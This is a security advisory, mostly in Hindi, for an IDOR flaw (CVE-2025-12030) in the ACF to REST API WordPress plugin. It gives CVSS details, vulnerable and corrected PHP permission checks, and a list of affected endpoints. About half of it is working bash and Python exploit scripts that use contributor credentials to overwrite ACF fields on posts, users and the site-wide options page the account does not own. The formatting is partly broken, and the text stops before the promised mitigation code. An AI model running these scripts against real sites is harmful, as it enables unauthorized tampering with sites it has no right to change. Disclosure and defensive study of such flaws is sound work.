
ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - सुरक्षा दोष जो प्रमाणित उपयोगकर्ताओं को Contributor-स्तर की पहुंच के साथ उन वस्तुओं पर ACF फ़ील्ड्स को संशोधित करने की अनुमति देता है जिनके वे मालिक नहीं हैं।
कीवर्ड: CVE-2025-12030, ACF to REST API vulnerability, IDOR, WordPress security, authenticated exploit, WordPress plugin vulnerability, CWE-639, ACF field modification, authorization bypass, WordPress CVE 2025, Advanced Custom Fields, REST API security
ACF to REST API WordPress प्लगइन IDOR कमजोरी (CVE-2025-12030) - एक सुरक्षा दोष जो योगदानकर्ता-स्तरीय पहुँच वाले प्रमाणित उपयोगकर्ताओं को उन वस्तुओं पर ACF फ़ील्ड बदलने की अनुमति देता है जिनके वे स्वामी नहीं हैं।
ACF to REST API WordPress प्लगइन में एक असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR) कमजोरी पाई गई है जो न्यूनतम विशेषाधिकारों वाले प्रमाणित हमलावरों को संपूर्ण WordPress इंस्टॉलेशन में ACF फ़ील्ड बदलने की अनुमति देती है।
खोजकर्ता: Kai Aizen (SnailSploit)
प्रकाशित: 6 जनवरी, 2026
CVSS स्कोर: 4.3 (मध्यम)
CWE: CWE-639 - उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बाईपास
प्लगइन: ACF to REST API
प्लगइन स्लग: acf-to-rest-api
हमला प्रकार: असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR)
आवश्यक विशेषाधिकार: योगदानकर्ता+ (प्रमाणित हमला)
WordPress के लिए ACF to REST API प्लगइन संस्करण 3.3.4 तक (और सहित) सभी संस्करणों में असुरक्षित प्रत्यक्ष वस्तु संदर्भ के प्रति संवेदनशील है। यह update_item_permissions_check() विधि में अपर्याप्त क्षमता जाँच के कारण है, जो केवल यह सत्यापित करता है कि वर्तमान उपयोगकर्ता के पास edit_posts क्षमता है, बिना वस्तु-विशिष्ट अनुमतियों (जैसे edit_post($id), edit_user($id), manage_options) की जाँच किए।
यह कमजोरी योगदानकर्ता-स्तर और उससे ऊपर की पहुँच वाले प्रमाणित हमलावरों को निम्नलिखित की अनुमति देती है:
manage_options क्षमता के बिना साइट-व्यापी ACF विकल्पों तक पहुँचनाये सभी संशोधन /wp-json/acf/v3/{type}/{id} REST API एंडपॉइंट के माध्यम से संभव हैं।
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| मीट्रिक | मान |
|--------|-------|
| हमला वेक्टर | Network (AV:N) |
| हमला जटिलता | Low (AC:L) |
| आवश्यक विशेषाधिकार | Low (PR:L) |
| उपयोगकर्ता सहभागिता | None (UI:N) |
| दायरा | Unchanged (S:U) |
| गोपनीयता | None (C:N) |
| अखंडता | Low (I:L) |
| उपलब्धता | None (A:N) |
**CVSS v3.1 विघटन:**
- **हमला वेक्टर (AV):** Network - इस कमजोरी का नेटवर्क के माध्यम से दूरस्थ रूप से शोषण किया जा सकता है
- **हमला जटिलता (AC):** Low - शोषण के लिए किसी विशेष परिस्थिति की आवश्यकता नहीं है
- **आवश्यक विशेषाधिकार (PR):** Low - Contributor-स्तर के प्रमाणीकरण की आवश्यकता है
- **उपयोगकर्ता सहभागिता (UI):** None - शोषण बिना किसी उपयोगकर्ता सहभागिता के काम करता है
- **दायरा (S):** Unchanged - कमजोरी केवल संवेदनशील घटक को प्रभावित करती है
- **गोपनीयता प्रभाव (C):** None - कोई सूचना प्रकटीकरण नहीं
- **अखंडता प्रभाव (I):** Low - ACF फ़ील्ड का अनधिकृत संशोधन
- **उपलब्धता प्रभाव (A):** None - कोई उपलब्धता प्रभाव नहीं
## तकनीकी विवरण
### कमजोरी का मूल कारण
यह कमजोरी `update_item_permissions_check()` विधि में मौजूद है, जो अपर्याप्त प्राधिकरण प्रदान करती है:
```php
protected function update_item_permissions_check( $object ) {
``````php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
सही कार्यान्वयन को ऑब्जेक्ट-विशिष्ट अनुमतियों की जांच करनी चाहिए:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### कमजोर एंडपॉइंट्स
| Endpoint | लक्ष्य | आवश्यक क्षमता (होनी चाहिए) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | पोस्ट्स | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | पेजेस | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | उपयोगकर्ता | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | टिप्पणियाँ | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | टर्म्स | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | विकल्प | `manage_options` |
### हमला वेक्टर```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
यह कमजोरी वर्डप्रेस REST API के माध्यम से किसी भी प्रमाणित उपयोगकर्ता द्वारा शोषित की जा सकती है जिसके पास कम से कम योगदानकर्ता भूमिका हो।
⚠️ केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool
echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi
### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
import base64
def exploit(target_url, username, app_password, target_id, target_type="posts"):
"""
Exploit CVE-2025-12030 IDOR vulnerability
Args:
target_url: WordPress site URL
username: Contributor-level username
app_password: Application password
target_id: ID of the object to modify (post, user, etc.)
target_type: Type of object (posts, pages, users, options, etc.)
"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
# Create Basic Auth header
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
print(f"[*] Target: {target_url}")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] Object Type: {target_type}")
print(f"[*] Object ID: {target_id}\n")
# Step 1: Read current ACF fields
print("[*] Step 1: Reading current ACF fields...")
try:
response = requests.get(api_endpoint, headers=headers, timeout=10)
if response.status_code == 200:
print(f"[+] Current ACF fields:")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Failed to read fields: {response.status_code}")
print(response.text)
except requests.RequestException as e:
print(f"[-] Error reading fields: {e}")
return
print("")
# Step 2: Attempt IDOR modification
print("[*] Step 2: Attempting unauthorized modification...")
payload = {
"fields": {
"idor_test": "CVE-2025-12030_IDOR_VERIFIED"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
result = response.json()
print(f"[+] Response:")
print(json.dumps(result, indent=2))
if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
print("[!] Contributor-level user was able to modify objects they don't own!")
else:
print("\n[+] Modification request accepted - verify manually")
else:
print(f"[-] Request failed with status: {response.status_code}")
print(f"Response: {response.text}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
def test_options_page(target_url, username, app_password):
"""Test modification of global options page (requires manage_options normally)"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"\n[*] Testing Options Page IDOR...")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] NOTE: This normally requires manage_options capability!\n")
payload = {
"fields": {
"site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
print(f"[!] CRITICAL: Contributor modified global options page!")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Options modification failed: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
print(f"\nSupported types: posts, pages, users, comments, options")
sys.exit(1)
target_url = sys.argv[1]
username = sys.argv[2]
app_password = sys.argv[3]
target_id = sys.argv[4]
target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
exploit(target_url, username, app_password, target_id, target_type)
# Also test options page access
if target_type != "options":
test_options_page(target_url, username, app_password)
तत्काल कार्रवाई आवश्यक:
⚠️ इस कमजोरी के लिए फिलहाल कोई आधिकारिक पैच उपलब्ध नहीं है।
अपनी थीम के functions.php या एक कस्टम प्लगइन में जोड़ें:```php